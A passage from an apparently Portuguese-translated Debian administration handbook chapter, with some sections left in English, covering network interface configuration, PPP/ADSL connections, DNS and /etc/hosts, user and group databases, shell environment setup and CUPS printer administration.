→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

Uma configuração "static" deve indicar uma configuração de rede de maneira fixa. Isto incluí ao menos o endereço IP e uma máscara de sub rede; endereços de rede e brodcasts são algumas vezes listados também. Um roteador conectado ao exterior será especificado como um gateway.

Exemplo 8.2. Configuração estática

auto enp0s31f6 ifaceenp0s31f6 inet static address 192.168.0.3/24 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

NOTA Múltiplos endereços

É possível associar não só várias interfaces de rede a uma única placa de rede, como também vários endereços IP a uma única interface. Para atribuí-los, simplesmente crie várias entradas iface para o mesmo dispositivo. Lembre também que um endereço IP pode corresponder a qualquer número de nomes via DNS, e que um nome pode corresponder a qualquer número de endereços IP.

Como você pode imaginar, as configurações podem ser complexas, mas estas opções são usadas somente em casos especiais. Os exemplos citados aqui são configurações habituais típicas.

8.2.2. Interface Wireless (sem fio)

Colocar placas de rede sem fio para funcionar pode ser um pouco mais desafiador. Primeiramente, elas frequentemente precisam da instalação de firmware proprietário que não vem instalado no Debian. além disso, redes sem fio dependem de criptografia para restringir o acesso a usuários autorizados apenas, o que implica em guardar alguma chave secreta nas configurações de rede. Vamos remexer nestes tópicos um por um.

8.2.2.1. Instalando os firmwares necessários

Primeiro você tem que habilitar o repositório não-livre no arquivo sources.list do APT: veja em Seção 6.1, “Preenchendo no arquivo sources.list Arquivo” para detalhes sobre este arquivo. Muitos firmwares são proprietários e portanto localizados neste repositório. Você pode tentar pular este passo se quiser, mas caso o próximo passo não encontre o firmware necessário, tente novamente após habilitar a seção não-livre.

Então você tem que instalar os pacotes firmware-* apropriados. Se você não sabe que pacotes precisa, pode instalar o pacote isenkram e rodar o seu comando isenkram-autoinstall-firmware. Os pacotes são frequentemente nomeados segundo o fabricante do hardware ou o módulo do núcleo correspondente: firmware-iwlwifi para placas de rede sem fio Intel, firmware-atheros para Qualcomm Atheros, firmware-ralink para Ralink, etc. Um reinício é então recomendado porque o driver do núcleo normalmente busca por arquivos de firmware quando ele é carregado a primeira vez e não mais depois disto.

8.2.2.2. Entradas específicas de rede sem fio em /etc/network/interfaces

ifupdown é capaz de gerenciar redes sem fio, mas precisa de um auxílio do pacote wpasupplicant , que fornece a integração necessária entre os comandos ifupdown e wpa_supplicant, utilizados para configurar a interface de rede sem fio (quando usando criptografia WPA/WPA2). A entrada normal em /etc/network/interfaces precisa ser estendida com dois parâmetros suplementares para especificar o nome da rede sem fio (também conhecido como SSID) e a chave pré-compartilhada (em inglês, Pre-Shared Key - PSK).

Exemplo 8.3. Configuração DHCP para uma interface de rede sem fio

auto wlp4s0 iface wlp4s0 inet dhcp wpa-ssid Falcot wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

O parâmetro wpa-psk pode conter tanto a senha em texto puro ou sua versão hash gerada com wpa_passphrase SSID senha. Se você usa uma conexão sem fio não criptografada, então você deve colocar wpa-key-mgmt NONE e nenhuma entrada wpa-psk. Para mais informações sobre as opções de configuração possíveis, dê uma olhada em /usr/share/doc/wpasupplicant/README.Debian.gz.

Neste ponto você deve considerar restringir as permissões de leitura de /etc/network/interfaces para o usuário root somente, já que o arquivo contém uma chave privada que nem todos(as) os(as) usuários(as) devem ter acesso.

HISTÓRIA criptografia WEP

O uso do obsoleto protocolo de criptografia WEP é possível com o pacote wireless-tools . Veja /usr/share/doc/wireless-tools/README.Debian para instruções.

8.2.3. Conectando com PPP através de um modem PSTN

Uma conexão ponto a ponto (PPP) cria uma conexão intermitente; está é a solução mais comum para conexão feitas com um modem telefônico ("modem PSTN", já que a conexão vai pela rede de telefonia).

Uma conexão via modem telefônico precisa de uma conta com um provedor de acesso, incluindo um número telefônico, usuário, senha e às vezes o protocolo de autenticação a ser usado. tal conexão é configurada usando a ferramenta pppconfig do pacote Debian de mesmo nome. Por padrão, ela configura uma conexão chamada provider (de provedor de acesso). Quando em dúvida sobre o protocolo de autenticação, escolha PAP: ele é o oferecido pela maioria dos provedores de acesso a Internet.

Depois da configuração, é possível conectar usando o comando pon (dando a ele o nome da conexão como parâmetro, quando o valor padrão de provedor não for apropriado). O link é desconectado com o comando poff. Estes dois comandos podem ser executados pelo usuário root, ou por qualquer outro usuário que esteja no grupo dip.

8.2.4. Conectando através de um modem ADSL

O termo genérico "modem ADSL" cobre uma infinidade de dispositivos com funções muito diferentes. Os modems que são os mais simples de usar com Linux são aqueles que tem uma interface Ethernet (e não aqueles que só tem interface USB). Estes tendem a ser bastante populares; a maioria dos provedores de serviços internet ADSL emprestam ou fazem "leasing" de um aparelho com interfaces Ethernet. Dependendo do tipo de modem, a configuração necessária pode variar grandemente.

8.2.4.1. Modems que Suportam PPPOE

Alguns modens Ethernet funcionam com o protocolo PPPOE (Point to Point Protocol over Ethernet). A ferramenta pppoeconf (do pacote de mesmo nome) vai configurar a conexão. Para isto, ele modifica o arquivo /etc/ppp/peers/dsl-provider com as configurações fornecidas e grava a informação de login nos arquivos /etc/ppp/pap-secrets e /etc/ppp/chap-secrets. Ele é recomendado para aceitar todas as modificações que se propõe.

Uma vez que essa configuração está completa, você pode iniciar a conexão ADSL com o comando, pon dsl-provider ou desconectar com poff dsl-provider.

DICA Iniciando o ppp na inicialização

As conexões PPP sobre ADSL são, por definição, intermitentes. Como elas normalmente não são cobradas por tempo, existem poucos problemas com relação a tentação de mantê-las abertas sempre. O padrão para se fazer isto é usar o sistema init.

Com systemd, adicionar uma tarefa de reinício automático para uma conexão ADSL é uma simples questão de criar um “arquivo unit” tal como /etc/systemd/system/adsl-connection.service, com conteúdo tal como o seguinte:

[Unit] Description=ADSL connection [Service] Type=forking ExecStart=/usr/sbin/pppd call dsl-provider Restart=always [Install] WantedBy=multi-user.target

Uma vez que esse arquivo unit tenha sido definido, ele precisa ser habilitado com systemctl enable adsl-connection. Então o "loop" pode ser iniciado manualmente com systemctl start adsl-connection; ele também será iniciado automaticamente na inicialização.

Em sistemas em que não é usado o systemd (incluindo Wheezy e versões anteriores do Debian), o init System V padrão funciona de maneira diferente. Em tais sistemas, tudo que é preciso é adicionar uma linha como a seguinte no final do arquivo /etc/inittab; então, a qualquer momento que a conexão cai, o init reconecta.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Para conexões ADSL que se auto desconectam diariamente, este método reduz a duração da interrupção.

8.2.4.2. Modems que Suportam PPTP

O protocolo PPTP (Point-to-Point Tunneling Protocol) foi criado pela Microsoft. Publicado no começo da ADSL, foi rapidamente substituído pelo PPPOE. Se você for obrigado a usar este protocolo, veja Seção 10.3.4, “PPTP”.

8.2.4.3. Modems que Suportam DHCP

Quando um modem está conectado ao computador via cabo ethernet (crossover) você tipicamente configura uma conexão de rede pelo DHCP no computador; o modem age automaticamente como um gateway por padrão e cuida do roteamento (o que significa que ele gerencia o tráfego de rede entre o computador e a Internet).

DE VOLTA AO BÁSICO Cabos de par trançado para conexão de rede direta

Placas de rede de computadores esperam receber dados em certos fios do cabo, e enviar por outros. Quando você conecta um computador em uma rede local, você normalmente conecta um cabo (normal ou crossover) entre a placa de rede e o repetidor ou switch. Entretanto, se você quer conectar dois computadores diretamente (sem um switch ou repetidor intermediário), você deve rotear o sinal enviado por uma placa para o lado receptor da outra placa, e vice-versa. Este é o objetivo de um cabo crossover, e a razão para usá-lo.

Note que esta distinção tem se tornado quase que irrelevante com o passar do tempo, já que placas de rede modernas são capazes de detectar o tipo de cabo presente e se adaptar a ele. Portanto, não é raro que ambos os tipos de cabo funcionem em vários locais.

A maioria dos “roteadores ADSL” no mercado podem ser usados desta forma, assim como a maioria dos modens ADSL fornecidos por provedores de serviço de Internet.

8.2.5. Configuração Automática de Rede para Usuários em Roaming

Muitos engenheiros da Falcot tem um laptop que, por motivos pessoais, também são usados em casa. A configuração de rede muda de acordo com o local. Em casa, pode ser uma rede sem fio (protegida por uma chave WPA), enquanto que no trabalho se usa uma rede cabeada para mais segurança e mais banda.

Para evitar ter que conectar ou desconectar manualmente as interface de rede correspondentes, os administradores instalaram o pacote network-manager nestas "roaming machines". Com este software o usuário pode mudar de uma rede para outra usando um pequeno ícone exibido na área de notificação de suas área de trabalho gráficas. Ao clicar nestes ícones é exibida uma lista de redes disponíveis (com e sem fios), para o usuário simplesmente escolher qual ele deseja usar. O programa grava a configuração das redes que o usuário já tenha usado e automaticamente troca para a melhor rede disponível quando a rede atual cai.

Para fazer isto, o programa é estruturado em duas partes: um daemon rodando como root cuida da ativação e configuração das interfaces de rede e uma interface de usuário controla este daemon. O PolicyKit cuida das autorizações necessárias para controlar este programa e o Debian configura o PolicyKit de forma que os membros do grupo netdev possam adicionar ou mudar as conexões do Network Manager.

O Network Manager sabe como manipular vários tipos de conexões (DHCP, manual, rede local), mas apenas se a configuração for ajustada com o próprio programa. É por isto que ele vai ignorar sistematicamente todas as interfaces de rede em /etc/network/interfaces e /etc/network/interfaces.d/ que ele não saiba da existência. Já que o Network Manager não dá detalhes quando nenhuma conexão de rede é mostrada, a forma fácil é apagar do /etc/network/interfaces quaisquer configurações de todas as interfaces que devem ser gerenciadas pelo Network Manager.

Note que este programa já é instalado por padrão quando a tarefa "Desktop Environment" é escolhida durante a instalação.

8.3. Ajustando o Nome de Host e Configurando o Serviço de Nomes

O motivo de atribuir nomes a números de IP é fazê-los fáceis de lembrar. Na verdade, um endereço IP identifica uma interface de rede associada a um dispositivo como uma placa de rede. Já que cada máquina pode ter várias placas de rede, e várias interfaces em cada placa, um computador único pode ter vários nomes no sistema de nomes de domínio.

Entretanto, cada máquina é identificada por um nome principal (ou "canônico"), armazenado no arquivo /etc/hostname e comunicado ao núcleo Linux por scripts de início através do comando hostname. O valor atual é disponível num sistema de arquivos virtual, e você pode obtê-lo com o comando cat /proc/sys/kernel/hostname.

DE VOLTA AO BÁSICO /proc/ e /sys/, sistemas de arquivos virtuais

As árvores de arquivos /proc/ e /sys/ são geradas por sistemas de arquivos "virtuais". Esta é uma forma prática de recuperar informações do núcleo (listando arquivos virtuais) e comunicando-os para o núcleo (escrevendo para arquivos virtuais).

/sys/ em particular, é projetado para fornecer acesso a objetos de kernel interno, especialmente aqueles que representam os diversos dispositivos no sistema. O kernel pode, assim, partilhar vários pedaços de informação: o status de cada dispositivo (por exemplo, se está no modo de economia de energia), seja um dispositivo removível, etc. Note que /sys/ só existe desde a versão do kernel 2.6. Em /proc/ descreve o estado atual do kernel: os arquivos neste diretório contêm informações sobre os processos executando no sistema e seus hardwares.

Surpreendentemente, o nome de domínio não é gerenciado da mesma forma, mas vem de um nome de máquina completo, adquirido através de resolução de nome. Você pode mudá-lo no arquivo /etc/hosts; simplesmente escreva um nome completo para a máquina no começo da lista de nomes associada com o endereço da máquina, como no exemplo seguinte:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Resolução de Nome

O mecanismo para resolução de nomes no Linux é modular e pode usar várias fontes de informação declarada no arquivo /etc/nsswitch.conf. A entrada que envolve a resolução de nomes de host é hosts. Por padrão, contém files dns, o que significa que o sistema consulta o arquivo /etc/hosts primeiro, então os servidores DNS. NIS / NIS + ou LDAP servidores são outras fontes possíveis.

NOTA NSS e DNS

Esteja ciente de que os comandos destinados especificamente a consulta DNS (especialmente host) não utilize o mecanismo de resolução de nome padrão (NSS). Como consequência, eles não levam em consideração /etc/nsswitch.conf e, portanto, não /etc/hosts também.

8.3.1.1. Configurando Servidores DNS

DNS (Domain Name System - Sistema de Nomes de Domínios) é um mapeamento de serviço distribuída e hierárquica nomes para endereços IP e vice-versa. Especificamente, ele pode transformar um nome amigável como www.eyrolles.com no endereço IP real, 213.244.11.247.

Para acessar informações de DNS, um servidor DNS deve estar disponível para solicitações de retransmissão. Falcot Corp tem a sua própria, mas um usuário individual é mais propensos a usar os servidores DNS fornecidos pelo seu ISP.

Os servidores DNS a serem usados são indicados no /etc/resolv.conf, um por linha, com a palavra-chave nameserver seguida por um endereço IP, como no exemplo a seguir:

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

Note que o arquivo /etc/resolv.conf pode ser manipulado automaticamente (e sobrescrito) quando a rede é gerenciada pelo NetworkManager ou configurada via DHCP, ou quando o resolvconf é instalado ou o systemd-resolved(8) está habilitado.

8.3.1.2. O arquivo /etc/hosts

Se não houver nenhum servidor de nomes na rede local, é ainda possível estabelecer uma pequena tabela de mapeamento de endereços IP e nomes de máquina no /etc/hosts, normalmente reservados para as estações da rede local. A sintaxe deste arquivo, como descrito em hosts(5), é muito simples: cada linha indica um endereço IP específico, seguido pela lista de quaisquer denominações associadas (sendo o primeiro "completamente qualificado", ou seja, inclui o nome de domínio).

Este arquivo está disponível mesmo durante interrupções de rede ou quando os servidores DNS são inacessíveis, mas realmente só serão úteis quando duplicados em todas as máquinas na rede. A menor alteração em correspondência exigirá o arquivo a ser atualizado em todos os lugares. É por isso que /etc/hosts geralmente contém apenas as entradas mais importantes.

Este arquivo será suficiente para uma rede pequena sem conexão com a internet, mas com 5 máquinas ou mais, é recomendado a instalação de um servidor DNS adequado.

DICA Ignorando o DNS

Desde que os aplicativos verificar o /etc/hosts antes de consultar o DNS, é possível incluir informações que é diferente do que o DNS retornaria e, portanto, ignorar a resolução de nome DNS com base em normal.

Isso permite que, em caso de alterações DNS ainda não propagadas, para testar o acesso a um Web site com o nome pretendido, mesmo que este nome não está devidamente mapeado para o endereço IP correto ainda.

Outro uso possível é o redirecionamento de tráfico feito de uma máquina específica para o localhost, evitando assim qualquer comunicação com a dada máquina. Por exemplo, nomes de hosts de servidores dedicados a fornecer propaganda podem ser desviados o que evitaria estas propagandas tornando a navegação mais fluida e menos dispersa.

8.4. Usuário e grupo bancos de dados

A lista de usuários é normalmente armazenada no /etc/passwd, enquanto o /etc/shadow armazena senhas em hash. Ambos são arquivos de texto, em um formato relativamente simples, que podem ser lidos e modificados com um editor de texto. Cada usuário está listado lá em uma linha com vários campos separados por dois-pontos (“:”).

NOTA Editando arquivos do sistema

Os arquivos de sistema mencionados neste capítulo são todos os arquivos de texto simples e podem ser editados com um editor de texto. Considerando sua importância para a funcionalidade de núcleo do sistema, é sempre uma boa ideia tomar precauções extras ao editar arquivos do sistema. Primeiro, sempre faça uma cópia ou backup de um arquivo de sistema antes de abrir ou alterar isso. Em segundo lugar, em servidores ou máquinas, onde mais de uma pessoa potencialmente poderia acessar o mesmo arquivo ao mesmo tempo, tome medidas extras para proteção contra corrupção de arquivo.

Por este motivo, é suficiente usar o comando vipw para editar o arquivo /etc/passwd, ou vigr para editar /etc/group. Estes comandos travam o arquivo em questão antes de executar o editor de texto (o vi por padrão , a menos que a variável de ambiente EDITOR tenha sido alterada). A opção -s nestes comandos permite a edição do arquivo shadow correspondente.

DE VOLTA AO BÁSICO Crypt, uma função de mão única

crypt é uma função unidirecional que transforma uma string (A) em outra string (B) de forma que A não possa ser derivada de B. A única forma de identificar A é testando todos os valores possíveis, verificando cada um para determinar se a transformação pela função vai produzir B ou não. Ele usa até 8 caracteres como entrada (string A) e gera uma string de 13 caracteres ASCII, imprimível (string B).

8.4.1. Lista de Usuários: /etc/passwd

Aqui está uma lista de campos do arquivo /etc/passwd:

login, por exemplo rhertzog;

password: é uma senha criptografada por uma função unidirecional (crypt), que se baseia em DES, MD5, SHA-256 ou SHA-512. O valor especial “x” indica que a senha criptografada é armazenada em /etc/shadow;

uid: identificar numérico único para cada usuário;

gid:número único para o grupo principal do usuário (O Debian cria, por padrão, um grupo específico para cada usuário);

GECOS: campo de dados contendo normalmente o nome completo de usuário;

diretório de login, atribuído ao usuário para armazenar arquivos pessoais (a variável de ambiente $HOME geralmente aponta para ele);

programa para executar no login. Em geral é um interpretador de comandos (shell), deixando o usuário com "rédea solta". Se você especificar /bin/false (que não faz nada e devolve o controle imediatamente), o usuário não vai conseguir fazer login.

Como mencionado antes, alguém pode editar este arquivo diretamente, mas existem formas mais elegantes de aplicar mudanças, que são descritas em Seção 8.4.3, “Modificando uma Conta de Usuário Existente ou Senha”.

DE VOLTA AO BÁSICO Grupo Unix

Um grupo do Unix é uma entidade que contém vários usuários de forma que eles possam compartilhar arquivos facilmente usando o sistema de permissões integrado (com os benefícios dos mesmos direitos). Você também pode restringir o uso de certos programas a um grupo específico.

8.4.2. O Oculto e Criptografo Arquivo de Senhas: /etc/shadow

O arquivo /etc/shadow contém os seguintes campos:

login;

senha criptografada;

diversos campos controlam a expiração da senha.

Podemos fazer caducar as senhas usando este arquivo ou estabelecer o tempo até que a conta se desabilite depois da senha ter expirado.

SEGURANÇA /etc/shadow file security

/etc/shadow, ao contrário do seu alter-ego, /etc/passwd, não pode ser lido por usuários normais. Qualquer senha em hash armazenada em /etc/passwd pode ser lida por todo mundo; um cracker pode tentar "quebrar" (ou revelar) uma senha através de um dos vários métodos "força bruta" que, de forma geral, tentam adivinhar uma combinação muito usada de caracteres. Este ataque — chamado de "ataque de dicionário" — não é mais possível em sistemas usando o /etc/shadow.

DOCUMENTAÇÃO formatos de arquivos de /etc/passwd, /etc/shadow e /etc/group

Estes formatos estão documentados nas seguintes páginas de manuais: passwd(5), shadow(5), e group(5).

8.4.3. Modificando uma Conta de Usuário Existente ou Senha

Os seguintes comandos permitem a modificação das informações armazenadas em campos específicos do banco de dados do usuário: passwd permite que um usuário comum altere sua senha, que por sua vez, atualiza o arquivo /etc/shadow(com o chpasswd administradores podem atualizar senhas de uma lista de usuários em lote; chfn(CHange Full Name), reservado para o superusuário (root), modifica o campo GECOS.chsh (CHange SHell) permite que o usuário altere seu shell de login; contudo, as opções disponíveis estarão limitadas as opções listadas em /etc/shells; o administrador, por outro lado, não tem essa restrição e pode definir o shell para qualquer programa de sua escolha.

Finalmente, o comando chage (CHange AGE) permite ao administrador alterar as configurações de expiração da senha (a opção -l user irá listar as configurações corrente). Você também pode forçar a expiração da senha usando o comando passwd -e user, o qual irá requerer que o usuário altere sua senha na próxima vez que iniciar uma sessão.

Além destas ferramentas o comando usermod permite modificar todos os detalhes já mencionados.

8.4.4. Desabilitando uma Conta

Você pode necessitar “desabilitar uma conta” (bloquear um usuário), como uma medida disciplinar, para propósitos de uma investigação, ou simplesmente no caso de uma prolongada ou definitiva ausência de um usuário. Uma conta desabilitada significa que o usuário não pode iniciar uma sessão ou ganhar acesso a máquina. A conta permanece intacta na máquina e nenhum arquivo ou dado é apagado; ela é simplesmente inacessível. Isso é feito usando o comando passwd -l user ("l" de lock, ou bloqueio). Reabilitar a conta é feito de maneira similar, com a opção -u ("u" de unlock, ou desbloqueio). Isto, entretanto, apenas impede autenticação baseada em senha pelo usuário. O usuário ainda pode ser capaz de acessar o sistema usando uma chave SSH (se configurada). Para evitar até mesmo esta possibilidade, você terá que expirar a conta usando ou chage -E 1 usuário ou usermod -e 1 usuário (passando um valor -1 em qualquer destes comendos vai reconfigurar a data de expiração pra nunca). Para desabilitar (temporariamente) todas as contas de usuário, simplesmente crie o arquivo /etc/nologin.

Pode desativar uma conta de usuário não só bloqueando ela como já descrito, mas também mudando sua shell padrão de início de sessão (chsh -s shell usuário). Mudando o último para /usr/sbin/nologin, o usuário recebe uma educada mensagem informando-o de que não é possível iniciar sessão, enquanto /bin/false simplesmente devolve falso. Não há forma de restaurar o shell anterior. Tem que obter e conservar essa informação antes de mudar a configuração. Estes shells utilizam-se com frequência para os usuários do sistema que não requerem nenhuma disponibilidade de início de sessão.

APROFUNDANDO NSS e banco de dados do sistema

Ao invés de usar os arquivos usuais para gerenciar listas de usuários e grupos, você pode usar outros tipos de banco de dados, como LDAP ou db, usando o módulo NSS (Name Service Switch) apropriado. Os módulos usados estão listados no arquivo /etc/nsswitch.conf, sob as entradas passwd, shadow e group. Veja Seção 11.7.3.1, “Configurando o NSS” para um exemplo específico de uso do módulo NSS pelo LDAP.

8.4.5. Lista de Grupo: /etc/group

Grupos são listados no arquivo /etc/group, um banco de dados de texto simples em um formato similar ao arquivo /etc/passwd, com os seguintes campos:

nome do grupo;

senha (opcional): Isso só é usado para participar de um grupo quando não se é um membro usual (com os comandos newgrp ou sg, veja barra lateral DE VOLTA AO BÁSICO Trabalhando com grupos diversos);

gid: identificar numérico único para cada grupo;

lista de membros: lista de nomes de usuários que são membros do grupo, separados por vírgulas.

DE VOLTA AO BÁSICO Trabalhando com grupos diversos

Cada usuário pode ser membro de muitos grupos; um deles é seu “grupo principal”. O grupo principal de um usuário é, por padrão, criado durante a configuração inicial do usuário. Por padrão, cada arquivo que o usuário criar pertencerá a eles, assim como ao seu grupo principal. Isso nem sempre é desejável; por exemplo, quando o usuário precisa trabalhar em um diretório compartilhado por um grupo diferente de seu grupo principal. Neste caso, o usuário precisa alterar seu grupo principal usando os seguintes comandos: newgrp, o qual inicia um novo shell, ou sg, o qual simplesmente executa um comando usando o grupo alternativo fornecido. Esses comandos também permitem ao usuário participar de um grupo o qual ele não pertence. Se o grupo é protegido por senha, ele terá de fornecer a senha apropriada antes de o comando ser executado.

Alternativamente, o usuário pode definir o bit setgid no diretório, o que causa aos arquivos criados neste diretório serem automaticamente pertencentes ao grupo correto. Para mais detalhes, veja a barra lateral SEGURANÇA setgid diretório e sticky bit.

O comando id exibe o estado corrente de um usuário, com sua identidade pessoal(variável uid), grupo principal corrente (variável gid), e a lista de grupos aos quais pertence (variável groups).

Os comandos addgroup e delgroup adicionam ou apagam um grupo, respectivamente. O comando groupmod modifica a informação do grupo (seu gid ou identificador). O comando gpasswdgrupo altera a senha para o grupo, enquanto o comando gpasswd -rgrupo o apaga.

DICA getent

O comando getent (obter entradas) faz a checagem padrão do banco de dados do sistemas, usando as funções de biblioteca apropriadas, as quais, por sua vez, chamam os módulos NSS configurados no arquivo /etc/nsswitch.conf. O comando recebe um ou dois argumentos: o nome do banco de dados a ser checado, e uma possível chave de busca. Assim, o comando getent passwd rhertzog dará as informações do banco de dados do usuário em relação ao usuáriorhertzog.

8.5. Criação de Contas

Uma das primeiras ações que um administrador precisa fazer enquanto configura uma nova máquina é criar contas de usuário. Isso é tipicamente feito usando o comando adduser o qual recebe um nome-de-usuário para o novo usuário a ser criado, como um argumento.

O comando adduser faz algumas perguntas antes de criar a conta, mas seu uso é bastante simples. Seu arquivo de configuração, /etc/adduser.conf, inclui todas as configurações interessantes: ele pode ser usado para automaticamente definir uma cota para cada novo usuário, criando um modelo de usuário, ou para alterar a localização das contas de usuário; essa última é raramente útil, mas se torna interessante quando você tem um grande número de usuários e quer dividir suas contas por vários discos, por exemplo. Você pode também escolher um shell padrão diferente.

DE VOLTA AO BÁSICO Cota

O termo "cota" se refere a um limite de recursos da máquina que um usuário é permitido usar. Isto é frequentemente se refere ao espaço de disco.

A criação de uma conta povoa o diretório home do usuário com o conteúdo do template de /etc/skel/. Isso provê ao usuário um conjunto padrão de diretórios e arquivos de configuração.

Em alguns casos, será útil adicionar um usuário em um grupo (diferente do grupo principal padrão) em razão de garantir a ele permissões adicionais. Por exemplo, um usuário que seja incluído no grupo audio pode acessar dispositivos de audio (veja barra lateral DE VOLTA AO BÁSICO Permissão de acesso a dispositivos). Isso pode ser alcançável com um comando como o adduser usuário grupo.

DE VOLTA AO BÁSICO Permissão de acesso a dispositivos

Cada dispositivo periférico de hardware é representado sob o Unix como um arquivo especial, usualmente armazenado na árvore de arquivos sob /dev/ (DEVices). Existem dois tipos de arquivos especiais, de acordo com a natureza do dispositivos: arquivos “modo caractere” e “modo bloco”, cada modo permite apenas um limitado número de operações. Enquanto o modo caractere limita a interação com operações de leitura/escrita, o modo bloco também permite a busca dentro dos dados disponíveis. Finalmente, cada arquivo especial é associado com dois números (“major” and “minor”) que identifica o dispositivo no kernel de maneira única. Esse tipo de arquivo, criado pelo comando mknod, simplesmente contém um nome simbólico (e mais amigável para humanos).

As permissões de um arquivo especial mapeiam as permissões necessárias para acessar o próprio dispositivo. Assim,,um arquivo como o /dev/mixer, representando o mixador de audio, apenas tem permissões de leitura/escrita para o usuário root e membros do grupo audio. Apenas esses usuários podem operar o mixador de audio.

Note que a combinação de udev e policykit pode somar permissões adicionais a usuários fisicamente conectados ao console (e não através da rede) para acessarem certos dispositivos.

8.6. Ambiente Shell

Interpretadores de comandos (ou shells) podem ser o primeiro ponto de contato do usuário com o computador, e eles devem portanto ser bastante amigáveis. a maioria deles usa scripts de inicialização que permitem a configuração de seus comportamentos (completação automática, texto de prompt, etc).

bash, o shell padrão, usa o script de inicialização /etc/bash.bashrc para shells "interativos", e o /etc/profile para shells de "login".

Em termos simples, um shell de login é invocado quando você se autentica (log in) no console tanto localmente quanto remotamente via ssh, ou quando você executa um comando bash --login explicitamente. Independente de ser um shell de login ou não, um shell pode ser interativo (num terminal estilo xterm, por exemplo); ou não-interativo (quando executando um script).

DISCOVERY Outros shells, outros scripts

Cada interpretador de comando tem uma sintaxe específica e seus próprios arquivos de configuração. Assim, zsh usa os arquivos em/etc/zsh/; tcsh usa /etc/csh.cshrc, /etc/csh.login e /etc/csh.logout. As páginas de manual desses programas documentam quais arquivos eles usam.

Para bash, é útil instalar e ativar a “terminação automática”. O pacote bash-completion contém estas terminações para a maioria dos programas comuns e geralmente habilita-se se o usuário do arquivo de configuração .bashrc copiou-se de /etc/skel/.bashrc. Caso contrário pode-se ativar através de /etc/bash.bashrc (simplesmente descomentando algumas linhas) ou /etc/profile.

DE VOLTA AO BÁSICO Preenchimento automático

Muitos interpretadores de comando fornecem o recurso de complementação, o qual permite ao shell completar automaticamente um nome de comando parcialmente digitado ou argumento quando o usuário pressiona a tecla Tab. Isso faz com que os usuários trabalhem com mais eficiência e sejam menos propensos a erros.

Essa função é muito poderosa e flexível. É possível configurar seu comportamento de acordo com cada comando. Assim, o primeiro argumento seguido de apt irá ser proposto de acordo com a sintaxe deste comando, mesmo que não coincida com nenhum arquivo (neste caso, as opções possíveis são install, remove, upgrade, etc.).

DE VOLTA AO BÁSICO O til, um atalho para o HOME

O til geralmente é usado para indicar o diretório o qual a variável de ambiente, HOME, aponta (sendo o diretório home do usuário, como por exemplo /home/rhertzog/). Interpretadores de comando automaticamente fazem a substituição: ~/hello.txt se torna /home/rhertzog/hello.txt.

O til também permite acesso para o diretório home de outro usuário. Assim, ~rmas/bonjour.txt é sinônimo de /home/rmas/bonjour.txt.

In addition to these common scripts, each user can create their own ~/.bashrc and ~/.bash_profile to configure their shell. The most common changes are the addition of aliases; these are words that are automatically replaced with the execution of a command, which makes it faster to invoke that command. For instance, you could create the la alias for the command ls -la | less command; then you only have to type la to inspect the contents of a directory in detail. Please note that the shell needs to be reinitialized after adding an alias, e.g. by starting a new shell.

DE VOLTA AO BÁSICO Variáveis de ambiente

Variáveis de ambiente permitem o armazenamento de configurações globais para o shell ou vários outros programas executados. Elas são contextuais (cada processo tem seu próprio conjunto de variáveis de ambiente) porém hereditárias. Essa última característica oferece a possibilidade para o shell de login declarar variáveis que serão repassadas para todos os programas que ele executa.

Setting default environment variables is an important element of shell configuration. Leaving aside the variables specific to a shell, it is preferable to place system wide variables in the /etc/environment file, since it is used by the various programs likely to initiate a shell session. Variables typically defined there include ORGANIZATION, which usually contains the name of the company or organization, and HTTP_PROXY, which indicates the existence and location of an HTTP proxy. Other options include to set system wide variables via scripts in /etc/profile.d, or session wide variables via .pam_environment or .profile, where the latter can override any definition contained in the first. The file /etc/default/locale is meant to contain system wide locale related environment variables.

DICA Todos os shells configurados identicamente

Users often want to configure their login and interactive shells in the same way. To do this, they choose to interpret (or “source”) the content from ~/.bashrc in the ~/.bash_profile file. However, the default ~/.profile file is sourcing ~/.bashrc already and you don't need to create ~/.bash_profile for this purpose anymore, except you want to customize your shell further (see bash(1) for which files are read by bash for login shells). It is also possible to do the same with files common to all users (by calling /etc/bash.bashrc from /etc/profile, which is also done by default now).

8.7. Configuração da Impressora

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using IPP, the Internet Printing Protocol.

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

COMUNIDADE CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Common Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters package in conjunction with printer-driver-* packages. CUPS in combination with these packages is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Bullseye have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and the filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

Como um pacote recomendado por cups-daemon, cups-browsed estará no sistema, e filas de impressão em rede e impressoras modernas podem ser descobertas automaticamente e configuradas a partir de seus DNS-SD broadcasts (Bonjour). Impressoras USB terão que ser configuradas manualmente como descrito no próximo parágrafo.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. Members of the lpadmin group can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. Configurando o carregador de boot (bootloader)

